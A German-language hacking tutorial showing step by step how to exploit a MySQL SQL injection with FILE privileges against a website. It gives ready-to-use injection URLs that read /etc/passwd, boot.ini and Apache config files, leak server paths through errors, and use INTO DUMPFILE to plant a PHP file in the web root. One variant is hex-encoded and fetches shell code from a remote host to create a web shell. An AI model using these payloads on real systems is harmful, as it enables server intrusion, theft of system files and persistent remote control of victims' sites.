~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ******************************************************* # WEBSECURITY DOCUMENTATION # # -------------------------------------- # # SQL Injection with File Privileges # # -------------------------------------- # # # # # # [+] written by fred777 [fred777.5x.to] # # # ****************************************************** ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --[0x00]-- Intro --[0x01]-- Knowledge [1] Load_File [2] Dumpfile und Outfile --[0x02]-- Exploiting [1] Privilegien mit mysql.user [2] Privilegien mit information_schema [3] Directories mittels Error [4] Directories mittels Configfiles [5] Schreiben mit DUMPFILE --[0x03]-- Finito ******************************************************** ################################################## --[0x00]-- Intro Willkommen zu meinem Tutorial über die File Privilegien bei SQL Injections. Ich denke auch hier werden ich nicht jeden Befehl erklären, da er in anderen Tutorials bereits erklärt wurde... Neue Sachen werden selbstverständlich dokumentiert. ############################################################# --[0x01]-- Knowledge ------------------------------------------------------- [1] LOAD_FILE ------------------------------------------------------- Wir werden wie schon bekannt mit Selectqueries arbeiten, doch kommt noch etwas Neues hinzu, zum ersten mal LOAD_FILE(). Sofern die Rechte stimmen, wird das angegebene File gelesen, der Inhalt als String zurückgegeben und das Resultat ausgegeben. Die Datei muss lesbar sein und kleiner sein als max_allowed_packet Bytes. Ansonsten wird NULL zurückgegeben. Der Syntax ist recht einfach: LOAD_FILE('') ------------------------------------------------------- [2] Dumpfile und Outfile ------------------------------------------------------- Kommen wir nun zu INTO OUTFILE und INTO DUMPFILE, hier werden die angegebenen Datensätze in eine Datei (OUTFILE) geschrieben. Auch hier muss natürlich die Berechtigung stimmen. Allerdings muss OUTFILE 'file' ein nicht vorhandenes File sein, sonst könnte man einfach die etc/passwd überschreiben oder Sonstiges anrichten. Die Datei kann von allen Benutzern geschrieben werden, da MySQL Server selbst gar keine Datei erstellen kann, deren Besitzer jemand anders als der eigentliche Benutzer ist, insofern ist es schlecht, mysqld als root auszuführen. Doch was ist der Unterschied von INTO OUTFILE und INTO DUMPFILE? Mit Dumpfile wird nur ein Datensatz verwendet ohne lästige Zeichen wie Trennunszeichen etc.. Deshalb verwenden wir hier ebenfalls DUMPFILE. Syntax: SELECT * INTO DUMPFILE '' ############################################################## --[0x02]-- Exploiting Wir haben also eine Lücke und eine Ausgabe: www.seite.de/index.php?id=777+union+select+1,2,3,4-- f => 3 wird ausgegeben Schauen wir doch gleich mal, ob magic_quotes on oder off sind, d.h. ob bestimmte Zeichen escaped werden.. www.seite.de/index.php?id=777+union+select+1,2,'test',4-- f => test wird ausgegeben ------------------------------------------------------- [1] Privilegien mit mysql.user ------------------------------------------------------- Umso besser, wir müssen nicht mit hex arbeiten. Unser Ziel ist es, am Schluss eine Shell auf den Server zusetzen, bzw auszuführen. Zuerst schauen wir allerdings ob uns die File Privilegien gegeben sind. Dafür gibt es mehrere Möglichkeiten dies herauszufinden. Erstens über die mysql.user Tabelle. Wir benötigen natürlich die Rechte für aktuellen User, welchen wir mit user() auslesen können: www.seite.de/index.php?id=777+union+select+1,2,user(),4-- f => fred@localhost wird ausgegeben Wie gesagt, die File Privilegien liegen als Column 'file_priv' in der mysql.user Table: www.seite.de/index.php?id=777+union+select+1,2,concat(username,0x3a,file_priv),4+from+mysql.user+limit+0,1 -- f => YES Mit Limit gehen wir die User durch und schauen wie es mit unseren steht, es wird YES ausgegeben, d.h. die Rechte sind gegeben. ------------------------------------------------------- [2] Privilegien mit information_schema ------------------------------------------------------- Die zweite Möglichkeit funktioniert nur ab Version 5 mittels der INFORMATION_SCHEMA Datenbank, auch hier sind die Rechte gespeichert, und zwar in der Table: user_privileges Wir sagen, wir möchten den Usernamen (grantee) und die Option (is_grantable) haben mit dem Privilegientyp FILE: www.seite.de/index.php?id=777+union+select+1,2,concat(grantee,0x3a,is_grantable),4+from+information_schema.user_privileges+where+privilege_type='file'+limit+0,1 -- f Auch hier suchen wir mit Limit nach unserem user aus user() und schauen ob NO oder YES ausgegeben wird. Natürlich könnten wir auch eine WHERE Bedingung starten, welche uns direkt den User ausgibt, doch damit steigt auch die Fehlerquote, deshalb machen wir es einfach mit Limit. Man muss natürlich auf magic_quotes achten, falls es auf ON steht, werden z.B. ' escaped, dann muss mit Hex gearbeitet werden. ------------------------------------------------------- [3] Directories mittels Error ------------------------------------------------------- So, jetzt wissen wir, dass die nötigen Rechte gegeben sind. Da wir ja später in eine Datei schreiben möchten, brauchen wir erstmal Informationen über das Betriebssystem, sowie den richtigen Pfad, dass unsere Datei dann auch mittels dem Webserver freigegeben wird. Um an den Pfad zu gelangen gibt es auch verschiedene Möglichkeiten, z.B. durch einen Error, welcher automatisch den Pfad der Datei ausgeben kann, dies kann einfach dur einen invaliden Query passieren: www.seite.de/index.php?id=777'''''-- f => mysql_fetch_array() Error..... in /var/fred/www/mysql.php Somit wissen wir, dass die Seite ziemlich sicher auf Linux läuft und wir können unser Load_file gleich mal testen. Eine Datei welche bei Linux immer vorhanden ist, ist etc/passwd. www.seite.de/index.php?id=777+union+select+1,2,load_file('/etc/passwd'),4-- f Tada, es erscheint der Inhalt wie erwünscht. Usere Datei später können wir also einfach nach /var/fred/www/ schreiben lassen. Bei Windows würde der Pfad etwa so aussehen: mysql_fetch_array()..... in C:\xampp\htdocs\sql.php Und die Datei welche bei Windows eigentlich immer besteht ist C:\boot.ini www.seite.de/index.php?id=777+union+select+1,2,load_file('C:\boot.ini'),4-- f ------------------------------------------------------- [4] Directories mittels Configfiles ------------------------------------------------------- Eine andere Methode ist die Configdatei des Webservers auszulesen, hilfreich dann z.B. wenn kein Error erscheint. Wir nehmen mal an, es wird Apache benutzt. Häufig sitzt das File so: /etc/init.d/apache /etc/init.d/apache2 /etc/httpd/httpd.conf /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /opt/apache/conf/httpd.conf /home/apache/httpd.conf /home/apache/conf/httpd.conf Sollte nicht Apache benutzt werden, kann man sich das Package immer noch laden und manuell nach schauen. Um die Dateien auszulesen, benutzen wir wieder load_file().. www.seite.de/index.php?id=777+union+select+1,2,load_file('/etc/apache/apache.conf'),4-- f ------------------------------------------------------- [5] Schreiben mit DUMPFILE ------------------------------------------------------- So kommen wir nun zu INTO DUMPFILE, printipiell wird einfach das was selected wird in eine Datei geschrieben, einfach unter Linux im TMP Ordner zu zeigen: www.seite.de/index.php?id=777+union+select+1,2,'test',4+INTO DUMPFILE+'/tmp/1.txt'-- f Wir bekommen einen Error, das soll uns aber nicht aufhalten, wir benutzen load_file um den Inhalt anzuzeigen: www.seite.de/index.php?id=777+union+select+1,2,load_file('/tmp/1.txt'),4-- f => 12test4 Es funktioniert also wunderbar. Jetzt können wir unsere eigenen Files erstellen, eine Shell z.B., da das aber eine Menge Text ist, wäre ein Uploader sicher besser, außerdem soll unsere Datei ja im richtigen Verzeichnis laden. PHP Files z.B. warten ja darauf ausgeführt zu werden. Ich nehme dazu einen relativ kleinen Code, welcher, sobald ausgeführt, eine Shell erstellt. www.seite.de/index.php?id=777+union+select+1,2,'',4+into+DUMPFILE+'/var/fred/www/1.php'-- f Sollte uns durch den mySQL Error nur ein Teil des Pfades gezeigt werden, können wir immer noch mit ../../../../../ weiter zurück springen. www.seite.de/index.php?id=777+union+select+1,2,'',4+into+DUMPFILE+'../../www/1.php'-- f Natürlich funktioniert das auch mit Hex, keine Angst vor der Länge des Strings: www.seite.de/index.php?id=777+union+select+1,2, 0x3c3f24633d666f70656e28227368656c6c2e706870222c226122293b6677726974652824632c66696c655f6765745f636f6e74656e74732822687474703a2f2f73656974652e64652f7368656c6c2e7478742229293b3f3e ,4+into+dumpfile+0x2f7661722f667265642f7777772f746573742f312e706870 So, jetzt sollte in diesem Verzeichnis die 1.php erstell worden sein und bei Aufruf wird eine Shell erstellt, bzw. eine Datei mit dem Code, welcher in der TXT Datei steht. Haben wir das richtige Verzeichnis gewählt, ist die 1.php auf: www.seite.de/1.php verfügbar Es hat also alles geklappt, unter Windows wäre das nicht viel anders abgelaufen: Wir testen: www.seite.de/index.php?id=777+union+select+1,2,'test',4+into+dumpfile+'C:\1.txt'-- f www.seite.de/index.php?id=777+union+select+1,2,load_file('C:\1.txt'),4-- f => 12test4 Alles funktioniert, jetzt also den absoluten Pfad der Seite C:\xampp\htdocs\sql.php und unsern lieben Text wieder: www.seite.de/index.php?id=777+union+select+1,2,'',4+into+DUMPFILE+'C:\xampp\htdocs\test\1.php'-- f Und das ganze aufrufen: www.seite.de/test/1.php => Shell wird erstellt und ist unter www.seite.de/test/shell.php verfügbar ################################################################# --[0x03]-- Finito So ich hoffe ihr habt alles so weit verstanden. Falls nicht, lieber noch meine anderen Paper lesen auf fred777.5x.to